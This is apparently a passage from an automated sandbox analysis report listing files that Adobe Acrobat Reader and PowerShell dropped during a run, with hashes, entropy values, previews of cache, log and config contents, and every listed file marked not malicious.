Preview:	{"analyticsData":{"responseGUID":"4c146f54-f443-423f-ac6e-b74dac593201","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736759675325,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.66157553624562
Encrypted:	false
SSDEEP:	24:Yv6XRk7ysiamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSia:YvYkr8BgkDMUJUAh8cvMB
MD5:	D2A5B36D32B3935D99130DF0CAE60F00
SHA1:	7D90C8FFBE6FD68C592426D51FBBF8F802F2FED0
SHA-256:	97C40A9CB60EAA7D0A5FF4DB51A6DCAD3144A1D51FD85C3D2F672E8E3436F358
SHA-512:	FDBD6059A72832E63961028522BF508F45EA102EE0511552CD66C21A46FE66296570EAA0C3FE257BB9AF2E50FB4E193412FA4D4EB635FDE23B39BE54881D10B1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c146f54-f443-423f-ac6e-b74dac593201","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736759675325,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.255180839655536
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDG4TRnnX0GnZiQ0Y9sqoAvJfshHHrPeUkwRe9:YvXKXa4JkGcysZGUUUkee9
MD5:	4C88299E4912D695A212A02FC7247AD7
SHA1:	51C65BE5558522653D0E359E8CF0D3B75ABA2655
SHA-256:	510277C90946BF2A8A5032449DDBF65F5BAEB1CF0059EF03E5A600AD29C2E778
SHA-512:	79A3B7EBA985B440DEA31C059AEF106EA98597A8210BFDB1D2E4E5141E42DE0FE69CCD997A558A24879D3FF848A707A74E6D651079AC19DDB25E6630884368A0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c146f54-f443-423f-ac6e-b74dac593201","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736759675325,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.261213448399589
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDG4TRnnX0GnZiQ0Y9sqoAvJTqgFCrPeUkwRe9:YvXKXa4JkGcysZGTq16Ukee9
MD5:	C18007D82597EB0651015D4B8584E630
SHA1:	1681FCD5ADA270657CDC3CA661F159250F669F3B
SHA-256:	32C2BD87604364ECCB397A5E5C11CFE085CAE28ED3C540E01B488F00ED84D358
SHA-512:	6E50735BF80B3B328130C43D23ADD10AE6606A335B5A1C565BDE5D33D676803CDD1FB3E0E454AEAD53F984D8795143EBBD0C1DA88BD44C6EB577CFB3E6FD2DD7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c146f54-f443-423f-ac6e-b74dac593201","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736759675325,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.132242838892521
Encrypted:	false
SSDEEP:	24:YW1UIanay/EA5BqnDWPz9ImU4N8wUkqW2bljjsj0SB9700BCYo2R2LSBXC+s8v4m:YWskgR8Ydkj+7xwwPrskw8ZeII+96SB
MD5:	A28273ADDAC003F66837FDFC5C11D64E
SHA1:	E88582013D4A992FBFB3E49512190024857EA6C9
SHA-256:	B046D38ECD226A6A0AEBADBD4BE0608FD238B5A7EB9B0599BA903003CB39DD7C
SHA-512:	FE725B8A14C9070DA9660E9B446694AFFB4D29A7ED098916D8276557752219903626FB692413F1038E97AD08EE8823678A39F6F7CD8242B0D2AB2E03773EC1A7
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"c88ec17456e185e81dabbf508bff57b5","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736580095000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"5d19c05da1bfdef9dc8bb13a057d46d7","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736580095000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"65b46fb6498c3ab90b1b367b4cf1248b","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736580095000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"85e890472385f2ff0fa4f790cf1ec2a5","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736580095000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"34b4772592f001da9eac61ebfb5c2829","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736580095000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"97b8d79a4fda36eb2e32d84ed8b992c0","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1464111593853927
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursgARZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcQ:TFl2GL7msVXc+XcGNFlRYIX2v3kw
MD5:	701D6FC7CEBB8EE3DB58356BAE31D62A
SHA1:	13C193D8A1CB9AD4E25A568E4D881A3B27BD4C95
SHA-256:	77B0DD2E66C09A422D404DE699826E7EF86834013385250CE8253426F34305DC
SHA-512:	CF4DF717C0ADF56F8DE253B5D5DFB9ACEA3152A14E4E7F48EB56C44B3F5AF2E3A6F25530C619E7B3B02EF92E838631F15AAE1A541092046953DB8ACE0AC9C614
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.550428622344735
Encrypted:	false
SSDEEP:	24:7+twAUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxkqLxx/XYKE:7MqXc+XcGNFlRYIX2vRqVl2GL7mss
MD5:	D344CC7607652638E8837C7BEF9AF235
SHA1:	09535C8DF61289227166E70ACF94F7F47D28439D
SHA-256:	F3161398E14D9D1BC3CFC8DE1145F1EBAD9F2499CBBBC97DD49303A4799B09C8
SHA-512:	0E5F80FAAA92EE3AA76328B5977455577F3B96233C8BBE17A42EE8AF70FD983AA33544FF71FD058A237EF3E2818DF07659BFEFD79963C89DC4C4F5D75AC49D7B
Malicious:	false
Preview:	.... .c.....e.R..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgg3jA/TmC6CohPLuBTHlT+2BrBYyu:6a6TZ44ADEg3s/r6CohCVtK
MD5:	0698C8D47E28BF79D91DFEE33D52C836
SHA1:	7D0BF61B07CE200665B3E4B7D22332875D14EEF7
SHA-256:	C72D06FE7E6CAE2AB439886003EBA52EC087B011D6D0CB23F048AE1F5815877A
SHA-512:	82887DD42CD79B406D596AFA9741CEDFEAC234D2E82F79848CC8E0315362F9F2E537F4604DC3EA89444B82D1FB1F950CDAE2B04F9C8F6B4EA77968A384B0805E
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSIf0ce0.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.493870954423123
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88ClsxH:Qw946cPbiOxDlbYnuRKdnH
MD5:	A7DF134D8B7468393084E92447905684
SHA1:	9C5056469F776089D495F67049F79EF091B013B8
SHA-256:	9C50E94BBDB9AEEA97B8ED2D5610DFE34065FEBF237A0A243FA847848EAFC9E4
SHA-512:	A009ACB8F308C371F6E8121AA19777DC6603AFB023594C6647D7CB1A536AADD325A687F207BABEBEDF9CC79DC44571F5642D34568E20BAB75E8B1E47FBE51466
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.2.:.2.1.:.3.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dj2mrlx3.0ka.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_urd11ets.szm.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 02-21-31-702.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.34456922965162
Encrypted:	false
SSDEEP:	384:J8wB40VidpOVUKW2MvtoWgRg4X0yMcovCAEOw0eZ+RVGoFn8UPFNyxy+Xge8U33e:a2I
MD5:	0E1307778F7D0A91C2642572076FE342
SHA1:	1AD80FE2603BE4C8FE765C621A1A883B098EA4A2
SHA-256:	CC400986FFE38F036A850ACD8CA4D07DDE81FE7456E4ED5B4756D8BD4827DE41
SHA-512:	9160E67374B092695696807FE175DF8AF4FDF722EF6A43C40572015D9E12AE1947CC6D508BFD1286D406DDDFEC1101763F0C83A1E39CDC9C2EF4EADF82C06D25
Malicious:	false
Preview:	SessionID=b0c35e37-712e-4c33-a3b4-e32d3d59bd5d.1736580091748 Timestamp=2025-01-11T02:21:31:748-0500 ThreadID=7668 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=b0c35e37-712e-4c33-a3b4-e32d3d59bd5d.1736580091748 Timestamp=2025-01-11T02:21:31:767-0500 ThreadID=7668 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=b0c35e37-712e-4c33-a3b4-e32d3d59bd5d.1736580091748 Timestamp=2025-01-11T02:21:31:767-0500 ThreadID=7668 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=b0c35e37-712e-4c33-a3b4-e32d3d59bd5d.1736580091748 Timestamp=2025-01-11T02:21:31:767-0500 ThreadID=7668 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=b0c35e37-712e-4c33-a3b4-e32d3d59bd5d.1736580091748 Timestamp=2025-01-11T02:21:31:767-0500 ThreadID=7668 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.395372999417522
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbmcbOIZvcb5:V3fOCIdJDeNZk
MD5:	2BCC5FFB51BBCFD28D156864AF1B9AEB
SHA1:	A6A54FB5109BDECD2F701C405D4D94F8AE753B3D
SHA-256:	A0DE5CCAD30DB9C60EE1D85C20F92DC87D350A011A5B969BC2FDC814E392252E
SHA-512:	C1DE980EF46F305F4B6471F3A4CF555EA3E23C476981BC88AC9A2BBD631AB96C895DE9700E80EE347E084C75CDDA747628A297E61504FEC32B588D38B9A7870A
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\8d1cb043-b201-44c8-af7e-e94819d173aa.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\95277f8b-d8fc-4cb8-94d4-8740e22fb199.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\a2e71711-4e38-4525-b80b-fe0086148828.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xaWL07oSwYIGNPUGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JaWLxSwZG6GZn3mlind9i4ufFXpAXkru
MD5:	C267C8C3D4A0DBACC06F3737E1784EB3
SHA1:	D798A10176D979377257977E896C8D332B785F23
SHA-256:	B5B5EF233AADF8F9C3509CDE98C7A9885D0E1B4938CD2A0676170BC8B30855F4
SHA-512:	3C9CC6700F7827321C0DEADA8F8517F8BAAB6056AF3D7FDAA71BF258C58399EDFDA8601AEBAEEBAB36EF0B1F59BA3E9690EEC2ACD2B8E3A94C8A328261D55D16
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f8692891-0fa5-4ab6-866d-c04d27e9cefb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
